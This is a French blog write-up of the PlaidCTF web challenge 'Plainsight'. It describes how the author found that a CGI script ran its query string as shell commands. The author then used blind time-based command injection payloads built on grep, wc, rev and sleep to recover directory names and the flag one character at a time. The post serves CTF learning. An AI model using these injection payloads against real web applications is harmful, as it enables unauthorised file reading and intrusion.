PlaidCTF n°16 WEB Plainsight

Voilà le PlaidCTF est terminé, c’était vraiment sympa, des challenges supers originaux de la compétition, de la prise de tête…

Donc un premier ptit write-up sur un cgi :

Category: web
The time to strike is now! This fiendish AED employee decided to hide secret data on this website.It seems that the employee was in the middle of creating the website when our operatives stumbled upon it.The good news is that there are surely bugs in the development version of this problem, the bad news is currently no feedback printed to users.Some of our leet operatives have determined a little bit about the machine: it runs in a read-only environment with onlybash cat dc expand grep hd head id less ls more nl od pr rev sh sleep sort sum tail tar tr true tsort ul wc yesinstalled.
Find what AED is hiding, good luck and godspeed.

 

Dans l’énoncé ils parlent d’un environnement read-only, et des quelques commandes de base à disposition sur la machine :
bash cat dc expand grep hd head id less ls more nl od pr rev sh sleep sort sum tail tar tr true tsort ul wc yes


On tombe donc sur une page blanche, aucun affichage comme prévenu dans l’énoncé. On remarque alors que si l’on fait chroot.cgi?sleep 10 le chargement est méga long.

Bingo ! Les commandes sont utilisables directement en argument.
Reste à trouver des ptits tricks linux pour dumper ce que l’on veut sachant que les & ne passent pas car ils sont pris comme début de l’argument suivant de la requête GET.
ls | grep -e ^a || sleep 10 va charger pendant 10 secondes si aucun fichier ne commence par la lettre a
On fait toutes les lettres pour ls
on se retrouve avec bin, home, keyfolder, lib
ls | grep -e ^keyfolder$ || sleep 10 permet de vérifier si il reste des caractères à deviner.

On regarde le contenu du dossier keyfolder, on trouve key
Pour savoir vite fait si c’est un dossier ou un fichier :

ls -l | grep ^d | grep key || sleep 10 chargera pendant 10 secondes si ce n’est pas un dossier
Un fichier, maintenant il faut lire son contenu :

wc -w keyfolder/key | grep 1 || sleep 10 nombre de mots
wc -c keyfolder/key | grep 14 || sleep 10 nombre de caracteres
Un seul mot de 14 caractères.

cat keyfolder/key | grep -e ^a || sleep 10 permet de lire le contenue.

Arrivé à cat keyfolder/key | grep -e ^esc4p3 || sleep 10 impossible de trouver le caractère suivant, les symboles risquant de mal passer dans l’url, on dump la fin à l’envers avec
rev keyfolder/key | grep -e ^a || sleep 10
ce qui me donne 5gn1rts donc str1ng5

facile de deviner le caractère manquant : esc4p3_str1ng5

One Comment

Leave a Reply

XHTML: You can use these tags:
<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong> <pre lang="" line="" escaped="" highlight="">